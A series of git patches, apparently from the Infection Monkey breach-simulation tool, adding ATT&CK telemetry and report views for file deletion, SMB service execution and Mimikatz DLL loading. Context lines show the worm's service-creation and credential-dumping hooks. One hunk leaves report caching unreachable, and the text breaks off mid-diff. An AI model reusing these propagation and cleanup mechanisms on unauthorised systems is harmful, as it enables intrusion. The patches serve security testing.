From bc1be8e452686f3a392fd29167a78916130b9be1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 Jun 2019 11:02:40 +0300 Subject: [PATCH 001/276] Implemented file deletion attack technique --- monkey/infection_monkey/monkey.py | 9 +++- .../telemetry/attack/t1107_telem.py | 19 ++++++++ monkey/infection_monkey/utils.py | 7 ++- .../cc/services/attack/attack_report.py | 7 +-- .../cc/services/attack/attack_schema.py | 9 ++++ .../attack/technique_reports/T1107.py | 32 +++++++++++++ .../attack/technique_reports/__init__.py | 12 ++--- .../components/attack/techniques/Helpers.js | 6 ++- .../src/components/attack/techniques/T1107.js | 47 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 139 insertions(+), 13 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1107_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1107.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 06e0f267b..c6c5ee8b5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus @@ -230,7 +231,6 @@ class InfectionMonkey(object): self.send_log() self._singleton.unlock() - utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @@ -243,6 +243,11 @@ class InfectionMonkey(object): @staticmethod def self_delete(): + if utils.remove_monkey_dir(): + T1107Telem(ScanStatus.USED, utils.get_monkey_dir_path()).send() + else: + T1107Telem(ScanStatus.SCANNED, utils.get_monkey_dir_path()).send() + if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: @@ -256,8 +261,10 @@ class InfectionMonkey(object): close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) + T1107Telem(ScanStatus.USED, sys.executable).send() except Exception as exc: LOG.error("Exception in self delete: %s", exc) + T1107Telem(ScanStatus.SCANNED, sys.executable).send() def send_log(self): monkey_log_path = utils.get_monkey_log_path() diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py new file mode 100644 index 000000000..ffb69b698 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1107Telem(AttackTelem): + def __init__(self, status, path): + """ + T1107 telemetry. + :param status: ScanStatus of technique + :param path: Path of deleted dir/file + """ + super(T1107Telem, self).__init__('T1107', status) + self.path = path + + def get_data(self): + data = super(T1107Telem, self).get_data() + data.update({ + 'path': self.path + }) + return data diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index 6eb3aefb5..f8b5cc56a 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -49,8 +49,13 @@ def create_monkey_dir(): def remove_monkey_dir(): """ Removes monkey's root directory + :return True if removed without errors and False otherwise """ - shutil.rmtree(get_monkey_dir_path(), ignore_errors=True) + try: + shutil.rmtree(get_monkey_dir_path()) + return True + except Exception: + return False def get_monkey_dir_path(): diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 7bec85a32..ff038c092 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145 +from monkey_island.cc.services.attack.technique_reports import T1145, T1107 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -17,7 +17,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1059': T1059.T1059, 'T1086': T1086.T1086, 'T1082': T1082.T1082, - 'T1145': T1145.T1145} + 'T1145': T1145.T1145, + 'T1107': T1107.T1107} REPORT_NAME = 'new_report' @@ -57,12 +58,12 @@ class AttackReportService: Gets latest report (by retrieving it from db or generating a new one). :return: report dict. """ + return AttackReportService.generate_new_report() if AttackReportService.is_report_generated(): telem_time = AttackReportService.get_latest_attack_telem_time() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: return latest_report - return AttackReportService.generate_new_report() @staticmethod def is_report_generated(): diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 00d3e9536..7a8cc7727 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -91,6 +91,15 @@ SCHEMA = { "necessary": True, "description": "Adversaries may abuse BITS to download, execute, " "and even clean up after running malicious code." + }, + "T1107": { + "title": "T1107 File Deletion", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may remove files over the course of an intrusion " + "to keep their footprint low or remove them at the end as part " + "of the post-intrusion cleanup process." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py new file mode 100644 index 000000000..fd9f1ad10 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -0,0 +1,32 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1107(AttackTechnique): + tech_id = "T1107" + unscanned_msg = "" + scanned_msg = "Monkey tried to delete files on a system in the network but failed." + used_msg = "Monkey successfully deleted files on systems in the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1107'}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'path': '$data.path'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}] + + @staticmethod + def get_report_data(): + data = T1107.get_tech_base_data() + deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) + data.update({'deleted_files': deleted_files}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index edd180d50..81b7dd6bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -52,13 +52,13 @@ class AttackTechnique(object): Gets the status of a certain attack technique. :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..1060f4b2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,11 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + " "; + } else { + machineStr += ipInfo + " "; + } }); return machineStr + ")" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js new file mode 100644 index 000000000..acf513c2f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js @@ -0,0 +1,47 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData } from "./Helpers" + + +class T1107 extends React.Component { + + constructor(props) { + super(props); + } + + static renderDelete(status){ + if(status === 2){ + return Yes + } else { + return No + } + } + + static getDeletedFileColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }}, + {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), + style: { 'whiteSpace': 'unset' }, width: 160}] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.deleted_files.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1107; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 348510175..0e9931f2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -14,6 +14,7 @@ import T1059 from "../attack/techniques/T1059"; import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; +import T1107 from "../attack/techniques/T1107"; const tech_components = { 'T1210': T1210, @@ -24,7 +25,8 @@ const tech_components = { 'T1059': T1059, 'T1086': T1086, 'T1082': T1082, - 'T1145': T1145 + 'T1145': T1145, + 'T1107': T1107 }; const classNames = require('classnames'); From 452724c487e38a3a1e74c2e9f80aed9b7b97c22c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 Jun 2019 12:17:39 +0300 Subject: [PATCH 002/276] Implemented service execution attack technique --- monkey/infection_monkey/exploit/smbexec.py | 4 +- .../telemetry/attack/t1035_telem.py | 19 ++++++++ .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 9 ++++ .../attack/technique_reports/T1035.py | 31 +++++++++++++ .../attack/technique_reports/__init__.py | 12 ++--- .../cc/services/config_schema.py | 2 +- .../components/attack/techniques/Helpers.js | 6 ++- .../src/components/attack/techniques/T1035.js | 44 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 10 files changed, 124 insertions(+), 12 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1035_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1035.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d49e66ae8..ee865e533 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -10,6 +10,8 @@ from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from common.utils.attack_utils import ScanStatus LOG = getLogger(__name__) @@ -129,7 +131,7 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - + T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() try: scmr.hRStartServiceW(scmr_rpc, service) except: diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py new file mode 100644 index 000000000..3b0846609 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1035Telem(AttackTelem): + def __init__(self, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1035Telem, self).__init__('T1035', status) + self.usage = usage + + def get_data(self): + data = super(T1035Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 7bec85a32..d33ad125e 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -17,7 +17,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1059': T1059.T1059, 'T1086': T1086.T1086, 'T1082': T1082.T1082, - 'T1145': T1145.T1145} + 'T1145': T1145.T1145, + 'T1035': T1035.T1035} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 00d3e9536..9262b7536 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -98,6 +98,15 @@ SCHEMA = { "title": "Execution", "type": "object", "properties": { + "T1035": { + "title": "T1035 Service execution", + "type": "bool", + "value": True, + "necessary": False, + "description": "Adversaries may execute a binary, command, or script via a method " + "that interacts with Windows services, such as the Service Control Manager.", + "depends_on": ["T1210"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py new file mode 100644 index 000000000..4dd2b7652 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -0,0 +1,31 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1035(AttackTechnique): + tech_id = "T1035" + unscanned_msg = "Monkey didn't try to interact with Windows services." + scanned_msg = "Monkey tried to interact with Windows services, but failed." + used_msg = "Monkey successfully interacted with Windows services." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] + + @staticmethod + def get_report_data(): + data = T1035.get_tech_base_data() + data.update({'services': list(mongo.db.telemetry.aggregate(T1035.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index edd180d50..81b7dd6bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -52,13 +52,13 @@ class AttackTechnique(object): Gets the status of a certain attack technique. :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index bc66fa8e7..34dea9a14 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1075"] + "attack_techniques": ["T1110", "T1075", "T1035"] }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..1060f4b2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,11 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + " "; + } else { + machineStr += ipInfo + " "; + } }); return machineStr + ")" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js new file mode 100644 index 000000000..b760226b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData } from "./Helpers" + + +class T1035 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x._id.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x._id.usage, + style: { 'whiteSpace': 'unset' }}] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.services.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1035; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 348510175..a18754f1d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -14,6 +14,7 @@ import T1059 from "../attack/techniques/T1059"; import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; +import T1035 from "../attack/techniques/T1035"; const tech_components = { 'T1210': T1210, @@ -24,7 +25,8 @@ const tech_components = { 'T1059': T1059, 'T1086': T1086, 'T1082': T1082, - 'T1145': T1145 + 'T1145': T1145, + 'T1035': T1035 }; const classNames = require('classnames'); From d1f8e522664b38031c9ca904715a433a03149d86 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 11:30:49 +0300 Subject: [PATCH 003/276] Implemented execution trough module load attack technique --- .../system_info/mimikatz_collector.py | 5 +++- .../telemetry/attack/t1035_telem.py | 14 ++------- .../telemetry/attack/t1129_telem.py | 11 +++++++ .../telemetry/attack/usage_telem.py | 20 +++++++++++++ .../cc/services/attack/attack_report.py | 7 +++-- .../cc/services/attack/attack_schema.py | 9 ++++++ .../attack/technique_reports/T1035.py | 16 +--------- .../attack/technique_reports/T1129.py | 17 +++++++++++ .../attack/technique_reports/__init__.py | 20 +++++++++++++ .../components/attack/techniques/Helpers.js | 16 ++++++++++ .../src/components/attack/techniques/T1035.js | 18 ++---------- .../src/components/attack/techniques/T1129.js | 29 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 13 files changed, 139 insertions(+), 47 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1129_telem.py create mode 100644 monkey/infection_monkey/telemetry/attack/usage_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1129.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4ef764251..4f2348531 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,8 @@ import socket import zipfile import infection_monkey.config - +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -49,8 +50,10 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True + T1129Telem(ScanStatus.USED, "Windows module loader was used to load Mimikatz DLL.").send() except Exception: LOG.exception("Error initializing mimikatz collector") + T1129Telem(ScanStatus.SCANNED, "Monkey tried to load Mimikatz DLL, but failed.").send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 3b0846609..b3d7c90de 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -1,19 +1,11 @@ -from infection_monkey.telemetry.attack.attack_telem import AttackTelem +from infection_monkey.telemetry.attack.usage_telem import UsageTelem -class T1035Telem(AttackTelem): +class T1035Telem(UsageTelem): def __init__(self, status, usage): """ T1035 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1035Telem, self).__init__('T1035', status) - self.usage = usage - - def get_data(self): - data = super(T1035Telem, self).get_data() - data.update({ - 'usage': self.usage - }) - return data + super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py new file mode 100644 index 000000000..fb7d776c6 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1129Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1129 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py new file mode 100644 index 000000000..48ff5431c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -0,0 +1,20 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class UsageTelem(AttackTelem): + + def __init__(self, technique, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(UsageTelem, self).__init__(technique, status) + self.usage = usage + + def get_data(self): + data = super(UsageTelem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index d33ad125e..ab5b82245 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145, T1035 +from monkey_island.cc.services.attack.technique_reports import T1145, T1035, T1129 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -18,7 +18,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1086': T1086.T1086, 'T1082': T1082.T1082, 'T1145': T1145.T1145, - 'T1035': T1035.T1035} + 'T1035': T1035.T1035, + 'T1129': T1129.T1129} REPORT_NAME = 'new_report' @@ -58,12 +59,12 @@ class AttackReportService: Gets latest report (by retrieving it from db or generating a new one). :return: report dict. """ + return AttackReportService.generate_new_report() if AttackReportService.is_report_generated(): telem_time = AttackReportService.get_latest_attack_telem_time() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: return latest_report - return AttackReportService.generate_new_report() @staticmethod def is_report_generated(): diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 9262b7536..957731251 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -107,6 +107,15 @@ SCHEMA = { "that interacts with Windows services, such as the Service Control Manager.", "depends_on": ["T1210"] }, + "T1129": { + "title": "T1129 Execution through module load", + "type": "bool", + "value": True, + "necessary": False, + "description": "The Windows module loader can be instructed to load DLLs from arbitrary " + "local paths and arbitrary Universal Naming Convention (UNC) network paths.", + "depends_on": ["T1078", "T1003"] + }, "T1059": { "title": "T1059 Command line interface", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index 4dd2b7652..a651a8288 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -10,22 +10,8 @@ class T1035(AttackTechnique): scanned_msg = "Monkey tried to interact with Windows services, but failed." used_msg = "Monkey successfully interacted with Windows services." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] - @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': list(mongo.db.telemetry.aggregate(T1035.query))}) + data.update({'services': list(mongo.db.telemetry.aggregate(T1035.get_usage_query()))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py new file mode 100644 index 000000000..7d9fa9dd0 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -0,0 +1,17 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1129(AttackTechnique): + tech_id = "T1129" + unscanned_msg = "Monkey didn't try to load any DLL's." + scanned_msg = "Monkey tried to load DLL's, but failed." + used_msg = "Monkey successfully loaded DLL's using Windows module loader." + + @staticmethod + def get_report_data(): + data = T1129.get_tech_base_data() + data.update({'dlls': list(mongo.db.telemetry.aggregate(T1129.get_usage_query()))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 81b7dd6bf..b3b3ce77b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -112,3 +112,23 @@ class AttackTechnique(object): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) return data + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telems for simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}] diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 1060f4b2d..fad2087d9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -19,3 +19,19 @@ export function renderMachineFromSystemData(data) { }); return machineStr + ")" } + +/* Formats telemetry data that contains _id.machine and _id.usage fields into columns + for react table. */ +export function getUsageColumns() { + return ([{ + columns: [ + {Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x._id.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x._id.usage, + style: { 'whiteSpace': 'unset' }}] + }])} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js index b760226b8..7345ca497 100644 --- 